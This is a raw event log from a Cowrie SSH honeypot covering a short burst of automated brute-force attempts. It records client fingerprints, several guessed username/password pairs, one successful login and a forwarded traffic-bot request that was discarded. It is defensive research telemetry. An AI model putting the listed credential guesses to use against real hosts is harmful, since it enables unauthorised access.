,"hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:11.966781Z","src_ip":"91.92.40.36","session":"1402655ade6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30848,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f5564d9be47","protocol":"ssh","message":"New connection: 45.153.34.195:30848 (10.17.0.5:22) [session: 7f5564d9be47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:12.465403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:12.523247Z","src_ip":"45.153.34.195","session":"7f5564d9be47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:12.622245Z","src_ip":"45.153.34.195","session":"7f5564d9be47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":49276,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a402a16fa4e","protocol":"ssh","message":"New connection: 73.36.177.174:49276 (10.17.0.5:22) [session: 3a402a16fa4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:12.910794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:12.918230Z","src_ip":"73.36.177.174","session":"3a402a16fa4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:12.954099Z","src_ip":"73.36.177.174","session":"3a402a16fa4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:13.143012Z","src_ip":"73.36.177.174","session":"3a402a16fa4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:14.099995Z","src_ip":"91.92.40.36","session":"a5a5468c2cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:14.183251Z","src_ip":"73.36.177.174","session":"3a402a16fa4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30852,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a97d1e3343a","protocol":"ssh","message":"New connection: 45.153.34.195:30852 (10.17.0.5:22) [session: 3a97d1e3343a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:15.318015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:15.334001Z","src_ip":"45.153.34.195","session":"3a97d1e3343a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex123","message":"login attempt [root/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:15.704420Z","src_ip":"45.153.34.195","session":"7f5564d9be47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:15.839155Z","src_ip":"45.153.34.195","session":"3a97d1e3343a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:16.189009Z","src_ip":"45.153.34.195","session":"3a97d1e3343a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:16.810938Z","src_ip":"45.153.34.195","session":"7f5564d9be47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:17.296331Z","src_ip":"91.92.40.36","session":"a5a5468c2cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:17.871076Z","src_ip":"45.153.34.195","session":"3a97d1e3343a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30856,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fa3b8c8baea","protocol":"ssh","message":"New connection: 45.153.34.195:30856 (10.17.0.5:22) [session: 9fa3b8c8baea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:18.230808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:18.235212Z","src_ip":"45.153.34.195","session":"9fa3b8c8baea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:18.327940Z","src_ip":"45.153.34.195","session":"9fa3b8c8baea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@2024","message":"login attempt [azureuser/azureuser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:18.846924Z","src_ip":"45.153.34.195","session":"9fa3b8c8baea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56600,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6ab5c673d17","protocol":"ssh","message":"New connection: 123.27.168.40:56600 (10.17.0.5:22) [session: d6ab5c673d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:19.469041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:19.473654Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:19.772654Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"share","password":"share","message":"login attempt [share/share] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:19.858802Z","src_ip":"91.92.40.36","session":"1402655ade6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:20.534937Z","src_ip":"45.153.34.195","session":"9fa3b8c8baea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65084,"dst_ip":"10.17.0.5","dst_port":22,"session":"809fe6b84cd2","protocol":"ssh","message":"New connection: 91.92.40.36:65084 (10.17.0.5:22) [session: 809fe6b84cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:20.695324Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:20.975249Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30860,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ec277562894","protocol":"ssh","message":"New connection: 45.153.34.195:30860 (10.17.0.5:22) [session: 8ec277562894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.235082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.241954Z","src_ip":"45.153.34.195","session":"8ec277562894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.330110Z","src_ip":"45.153.34.195","session":"8ec277562894","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.418443Z","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.522981Z","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.655057Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ezY3eHdwNUtoU0dmPGdpQA%3D%3DmIvlFtepxemDFQskrZqHvhD0u3XOoEPhK1UFNHizN%2Br%2FquMa7shQGR%2F4SB0Up5meBQ2aFiV%2F5CsBEE826NSBcNzz7qEz1HP9UyXqW8EP4HQr6hQH4WxanmOClRhOMUoR8XHJ1pKMp8bn%2F4d0tH7QUBosTn3puRhfDw92%2BvPpGw39zYcsAKQA5tk72JqWCflHPv%2B7hWCkKy2Za1kRYusHaYloC1akOudd0P3t7LbczBENXQS%2Fw6q1oNEtEpMtzi8ZSz%2BOJqtWTRzJ3maKYQyk%2FCeKnTWTvSvbvpd%2BMcMoU28pFytNRxzr2mbBlVClfBEZAe7dAtCaFuoi7ILp18nG0HzMykb0XztWtsebOIqKE503khZbupyDVrl9OIav9UeSjs2n41a3gkK1IXhfnLqo8xXYqPXiGJuLJ%2BpRnDhYldmOZ3M%2FKfNA5x9ctOnxIGuFER%2BMj6oUg93WaiLb3V0fM87bSo1Rc4cJF6C8iHjsRGs8z83eS5lORX5TuhMegxYW99mDeE67RD6q826z7YttYA6%2FtLuWLFLrdQdGuL0FCsXmebd6s7Y7LOR%2BoMTf%2Fln88vRz4cxGeKqeLTD8iFr%2FZJd%2F6X6%2F5XkmpHIXndnw21cCQTJO4CSsU8Ge3Z0F06l1YRpqPektk9MUH1AMbJbLQa8KuPFtG0hoxDrm5ZfW1IxVxIhmq%2BF%2FG0WRhP7sHoFKoDrp6NddxLeceB%2FuCSFRcFdTe16lqjiCyDzEKoZS92QgLpdXFpxlObkKzLP7wAqPUwu%2BSBwGwUOE0O1qDzyNJokI7GGH7ct05gdWtnFhXrKUEBVvMDciW0Kedqb4TOhJi6aXkeFQEMKo7nPZZeVQFTuKR%2F5ynMtToLC4KBRAn3IIBFZf6pinS%2FxY4rbHKaUumAB5FS4HmIOUh0lyeE1nIe2ayrkWRMgUdYcmCQgYmu9FuSArrR1MnVyPAXwysPxrnFu%2B0s9BSEyeiJX2JfFYgm5MVKKgSfOmQGib2ISDu9eUrrD2GK69sNHeklkKf1wun4qlTfwzHq8%2BcWnw8QhEpKRMSe9temXyx03vYshXMH%2FLK1tz3CyLVYry87RUL%2Bso'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ezY3eHdwNUtoU0dmPGdpQA%3D%3DmIvlFtepxemDFQskrZqHvhD0u3XOoEPhK1UFNHizN%2Br%2FquMa7shQGR%2F4SB0Up5meBQ2aFiV%2F5CsBEE826NSBcNzz7qEz1HP9UyXqW8EP4HQr6hQH4WxanmOClRhOMUoR8XHJ1pKMp8bn%2F4d0tH7QUBosTn3puRhfDw92%2BvPpGw39zYcsAKQA5tk72JqWCflHPv%2B7hWCkKy2Za1kRYusHaYloC1akOudd0P3t7LbczBENXQS%2Fw6q1oNEtEpMtzi8ZSz%2BOJqtWTRzJ3maKYQyk%2FCeKnTWTvSvbvpd%2BMcMoU28pFytNRxzr2mbBlVClfBEZAe7dAtCaFuoi7ILp18nG0HzMykb0XztWtsebOIqKE503khZbupyDVrl9OIav9UeSjs2n41a3gkK1IXhfnLqo8xXYqPXiGJuLJ%2BpRnDhYldmOZ3M%2FKfNA5x9ctOnxIGuFER%2BMj6oUg93WaiLb3V0fM87bSo1Rc4cJF6C8iHjsRGs8z83eS5lORX5TuhMegxYW99mDeE67RD6q826z7YttYA6%2FtLuWLFLrdQdGuL0FCsXmebd6s7Y7LOR%2BoMTf%2Fln88vRz4cxGeKqeLTD8iFr%2FZJd%2F6X6%2F5XkmpHIXndnw21cCQTJO4CSsU8Ge3Z0F06l1YRpqPektk9MUH1AMbJbLQa8KuPFtG0hoxDrm5ZfW1IxVxIhmq%2BF%2FG0WRhP7sHoFKoDrp6NddxLeceB%2FuCSFRcFdTe16lqjiCyDzEKoZS92QgLpdXFpxlObkKzLP7wAqPUwu%2BSBwGwUOE0O1qDzyNJokI7GGH7ct05gdWtnFhXrKUEBVvMDciW0Kedqb4TOhJi6aXkeFQEMKo7nPZZeVQFTuKR%2F5ynMtToLC4KBRAn3IIBFZf6pinS%2FxY4rbHKaUumAB5FS4HmIOUh0lyeE1nIe2ayrkWRMgUdYcmCQgYmu9FuSArrR1MnVyPAXwysPxrnFu%2B0s9BSEyeiJX2JfFYgm5MVKKgSfOmQGib2ISDu9eUrrD2GK69sNHeklkKf1wun4qlTfwzHq8%2BcWnw8QhEpKRMSe9temXyx03vYshXMH%2FLK1tz3CyLVYry87RUL%2Bso'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.658984Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.860839Z","src_ip":"91.92.40.36","session":"809fe6b84cd2","protocol":"ssh"}
